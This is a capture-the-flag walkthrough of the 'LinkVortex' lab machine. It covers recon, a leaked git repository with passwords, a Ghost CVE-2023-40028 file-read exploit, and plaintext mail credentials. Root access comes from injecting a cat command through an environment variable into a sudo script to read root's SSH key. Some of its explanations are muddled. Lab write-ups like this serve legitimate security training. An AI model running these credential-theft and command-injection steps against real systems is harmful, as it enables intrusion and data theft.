Recon
$whatweb http://linkvortex.htb/
http://linkvortex.htb/ [200 OK] Apache, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache], IP[10.129.110.17], JQuery[3.5.1], MetaGenerator[Ghost 5.58], Open-Graph-Protocol[website], PoweredBy[Ghost,a], Script[application/ld+json], Title[BitByBit Hardware], X-Powered-By[Express], X-UA-Compatible[IE=edge]
$nmap -p- -A 10.129.110.17
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open http Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
$gobuster vhost -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt -u http://linkvortex.htb --append-domain -t 150
Found: dev.linkvortex.htb Status: 200 [Size: 2538]
Running dir on the dev site finds us git repo.
We can run git-dumper http://dev.linkvortex.htb/ git
to copy all of it. To speedrun searching for creds we can run grep -ri "password" .
These two stand out the most:
./ghost/core/test/regression/api/admin/authentication.test.js: const password = ‘OctopiFociPilfer45’;
./ghost/core/test/regression/api/admin/authentication.test.js: const password = ‘thisissupersafe’;
Looking then on github we can find some CVE’s for ghost. One of them is CVE-2023-40028.
We can execute after modifing the url to http://linkvortex.htb
to get new shell.
./CVE-2023-40028.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
file> /var/lib/ghost/config.production.json
Looking on ghost forum I’ve found that there exists a file called config.production.json in ghost. We can grab it using our new shell.
file> /var/lib/ghost/config.production.json
{
"url": "http://localhost:2368",
"server": {
"port": 2368,
"host": "::"
},
"mail": {
"transport": "Direct"
},
"logging": {
"transports": ["stdout"]
},
"process": "systemd",
"paths": {
"contentPath": "/var/lib/ghost/content"
},
"spam": {
"user_login": {
"minWait": 1,
"maxWait": 604800000,
"freeRetries": 5000
}
},
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "bob@linkvortex.htb",
"pass": "fibber-talented-worth"
}
}
}
}
We can now ssh as bob.
Priv esc
Doing a basic check gives us an obvious hint.
bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi
The -z flag will print out the contents of the file, after moving. The thing is, we cannot set -z flag manualy, as we are not permited to run it as sudo then. What we can do then is set enviroment variable that will give the name of the file. When the script is being run, it will take it from our enviroment and not from the flag contents (if its not provided).
So my first attempt was:
export CHECK_CONTENT='/root/.ssh/id_rsa'
ln -s /root/.ssh/id_rsa pwn.png
sudo /usr/bin/bash /opt/ghost/clean_symlink.sh pwn.png
Second attempt with abusing /bin/cat, so we print BEFORE doing anything with the file.
export CHECK_CONTENT='/bin/cat /root/.ssh/id_rsa'
ln -s /root/.ssh/id_rsa pwn.png
sudo /usr/bin/bash /opt/ghost/clean_symlink.sh proxy.png
Third attempt, trying to bypass the quarantine by making a symlink to a symlink.
export CHECK_CONTENT='/bin/cat /root/.ssh/id_rsa'
ln -s /root/.ssh/id_rsa pwn.png
ln -s pwn.png proxy.png
sudo /usr/bin/bash /opt/ghost/clean_symlink.sh proxy.png
We get root id_rsa, now only ssh in, get the flag and we are done.